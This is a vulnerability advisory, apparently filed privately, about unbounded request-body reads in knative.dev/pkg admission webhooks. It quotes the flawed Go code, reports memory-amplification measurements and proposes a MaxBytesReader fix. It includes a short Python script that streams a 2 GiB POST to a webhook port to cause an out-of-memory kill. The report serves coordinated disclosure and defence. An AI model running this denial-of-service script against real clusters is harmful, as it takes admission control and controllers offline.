knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustion

⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end — 4.5× amplification observed (worse than the advisory's conservative 2× claim)

Built a Go PoC ([cmd/poc-c2/main.go](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/cmd/poc-c2/main.go)) that runs the exact 8-line vulnerable snippet from [webhook/admission.go:109-117](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117) verbatim under the same http.HandlerFunc shape (the full production admissionHandler at :85 requires *Webhook + AdmissionController + an informer-synced channel + controller-runtime / client-go scaffolding — the bug is the missing http.MaxBytesReader, nothing else in the handler). Bound to 127.0.0.1:18098.

PoC client streamed 2 GiB of a bytes over a raw TCP socket. runtime.MemStats.HeapAlloc sampler:

baseline:  HeapAlloc =     0.32 MiB
peak:      HeapAlloc = 9 217.38 MiB  =  9.00 GiB
ratio:     4.50× the body size

The advisory predicted ~2× from io.TeeReader doubling the body once in bodyBuffer. The observed 4.5× ratio comes from the interaction of two amplifiers: bytes.Buffer.ReadFrom (used by TeeReader-fed bodyBuffer) doubles its backing slice on every grow, so peak occupancy during a realloc is old + new = 3× the live data — and json.Decoder holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded.

Downstream impact reminder: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to any of those projects' admission webhook ports OOMs the controller at 4.5× the body — i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.

---

Summary

knative.dev/pkg's admission webhook handler reads the incoming HTTP request body via json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) with **no http.MaxBytesReader wrapping the body**. Because every consumer of knative.dev/pkg/webhook inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to any of those projects' admission webhook ports drives the controller pod into memory exhaustion and OOM-kill. Worse, the io.TeeReader design keeps a verbatim copy of the body in bodyBuffer while the decoder also materializes the parsed struct — so the peak memory usage is roughly twice the body size.

This is the same shape as CVE-2026-24514 (ingress-nginx) and GHSA-9539-c3xr-w9vm (Kyverno admission body OOM) filed today against the same antipattern.

Affected versions

• knative.dev/pkg — main HEAD on github.com/knative/pkg (verified 2026-05-18 against [webhook/admission.go](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) sha 1ad5a1ce0ee7043081cb50fd1acc6d36a9126844).
• Every release that ships the current [webhook/admission.go](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) handler.

Vulnerable code

[webhook/admission.go:109-117](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117):

review := admissionv1.AdmissionReview{}
var bodyBuffer bytes.Buffer
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
    http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
    return
}

There is no http.MaxBytesReader around r.Body. The standard library's json.NewDecoder will read until EOF or the matching closing }. The io.TeeReader simultaneously copies every byte read from r.Body into bodyBuffer, which the rest of the handler uses for the response trailer / observability.

Downstream impact (the reason this matters)

knative.dev/pkg/webhook is the default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem:

| Consumer | Repo | Webhook surface | |---|---|---| | Knative serving | knative/serving | resource validation / defaulting | | Knative eventing | knative/eventing | resource validation / defaulting | | Tekton Pipelines | tektoncd/pipeline | Pipeline / Task / TaskRun validation | | Tekton Triggers | tektoncd/triggers | EventListener / Trigger validation | | KEDA | kedacore/keda | ScaledObject / ScaledJob validation | | Sigstore policy-controller | sigstore/policy-controller | ClusterImagePolicy mutating + validating | | Kpack | buildpacks-community/kpack | Image / Builder validation | | ... | | |

Every one of these consumers ships the same io.ReadAll-equivalent body read with no upper bound. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. failurePolicy=Fail admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts.

Impact

• Class: CWE-770 unbounded allocation. Reachable from any pod-network client.
• Severity per consumer: depends on how each consumer configures failurePolicy. For projects with failurePolicy=Fail (e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. For failurePolicy=Ignore, the consequence is "this project's webhook is offline" but the API server continues admitting requests.
• Severity: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.

Reproduction

The exact same PoC built against Kyverno's admission handler reproduces this:

import socket
total = 2 << 30   # 2 GiB
s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443))
s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total)
chunk = b'a' * (1 << 20)
for _ in range(total >> 20): s.sendall(chunk)

Observed against the Kyverno admission handler (same antipattern):

baseline:        HeapAlloc=7 MiB     Sys=22 MiB
after read:      HeapAlloc=9500 MiB  Sys=9548 MiB  (4 GiB body → 9.5 GiB peak; io.TeeReader doubles)

For the knative/pkg version, the io.TeeReader doubles the resident memory (one copy in the decoder's accumulating slice, one in bodyBuffer). A kyverno-admission-controller-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.

Suggested fix

Wrap the request body with http.MaxBytesReader (and add a http.StatusRequestEntityTooLarge branch on the MaxBytesError path):

const maxAdmissionRequestSize = 8 << 20 // 8 MiB — controller-runtime's default; large enough for Kubernetes' own admission objects
r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)
var bodyBuffer bytes.Buffer
review := admissionv1.AdmissionReview{}
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
    var mbe *http.MaxBytesError
    if errors.As(err, &mbe) {
        http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge)
        return
    }
    http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
    return
}

This propagates a fix to every downstream consumer with no API change, and the cap can be made configurable per-server via a new field on the webhook.Options struct.

Disclosure

Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.

Reporter

tonghuaroot (tonghuaroot@gmail.com)